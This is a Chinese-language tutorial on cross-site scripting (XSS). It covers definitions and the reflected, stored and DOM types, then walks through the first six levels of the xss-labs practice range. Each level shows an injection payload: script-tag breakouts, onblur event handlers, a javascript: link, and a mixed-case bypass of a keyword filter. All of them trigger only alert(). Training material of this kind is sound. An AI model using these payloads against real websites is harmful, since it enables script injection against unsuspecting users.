什么是 xss?
XSS 全称(Cross Site Scripting)跨站脚本攻击,为了避免和 CSS 层叠样式表名称冲突,所以改为了 XSS,是最常见的 Web 应用程序安全漏洞之一,位于 OWASP top 10 2013/2017 年度分别为第 s 三名和第七名,XSS 是指攻击者在网页中嵌入客户端脚本,通常是 JavaScript 编写的危险代码,当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。
从上面中的一段话,可以得知,XSS 属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着 XSS 可以进行 "服务端" 攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一般也是靠管理员身份作为 “跳板” 进行实施攻击。
XSS 攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码是 javascript 语言,但也会使用其它的脚本语言,例如:ActionScript、VBscript。而如今的互联网客户端脚本基本是基于 Javascript, 所以如果想要深入研究 XSS,必须要精通 Javascript。
xss 漏洞出现原因
程序对输入和输出的控制不够严格,导致 "精心构造" 的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行从而产生危害.
xss 分类
反射型:
与服务端交互,但是交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等。
存储型:
交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面。
DOM 型:
不与后台服务器产生数据交互,是一种通过 DOM 操作前端代码输出的时候产生的漏洞,大部分属于反射型,少部分属于存储型。
关于非持久型,持久型,Dom 型 xss
非持久型 xss 攻击:顾名思义,非持久型 xss 攻击是一次性的,仅对当次的页面访问产生影响。非持久型 xss 攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
持久型 xss 攻击:持久型 xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。而 Dom 型 xss 属于有可能是持久也可能是非持久型。
xss-labs 关卡
第一关
?name='"<> 后查看源代码
没有任何防范
使用
'"><script>alert('jaden');</script>
闭合
第二关
发现是输入框输入 '"<> 测验发现
没有防范观察输入
'"><script>alert('jaden');</script>
闭合
第三关
输入 '"<> 后源代码中发现再 input 中且"<> 被实体化
不能使用 <> 闭合所以观察 input 事件
'" onblur='alert(123)'
// 或者
'" onBlur=javascript:alert('jaden')
成功闭合执行 alert (123)
第四关
这一关同样不能使用 script 闭合
查看源代码使用双引号闭合
'" onblur='alert(123)'
// 或者
'" onBlur=javascript:alert('jaden')
闭合成功点击搜索即可执行 alert (123)
第五关
第五关输入以上代码尝试发现 on 被绕过 o_n,script 也被绕过,大小写绕过也不可行
那么我们就可以考虑直接去闭合整个 input 标签,自己再添加上个 a 标签,a 标签中使用 javascript 伪协议来指定 js 代码执行。
'"><a href='javascript:alert("jaden")'>jaden</a>
成功执行代码点击 jaden 链接
第六关
第六关发现同样 script 和 on 被绕过
另外 href 也被绕过 所以使用大小写发现没有被绕过
所以
'"><a HreF='javascript:alert("jaden")'>jaden</a>
评论 (0)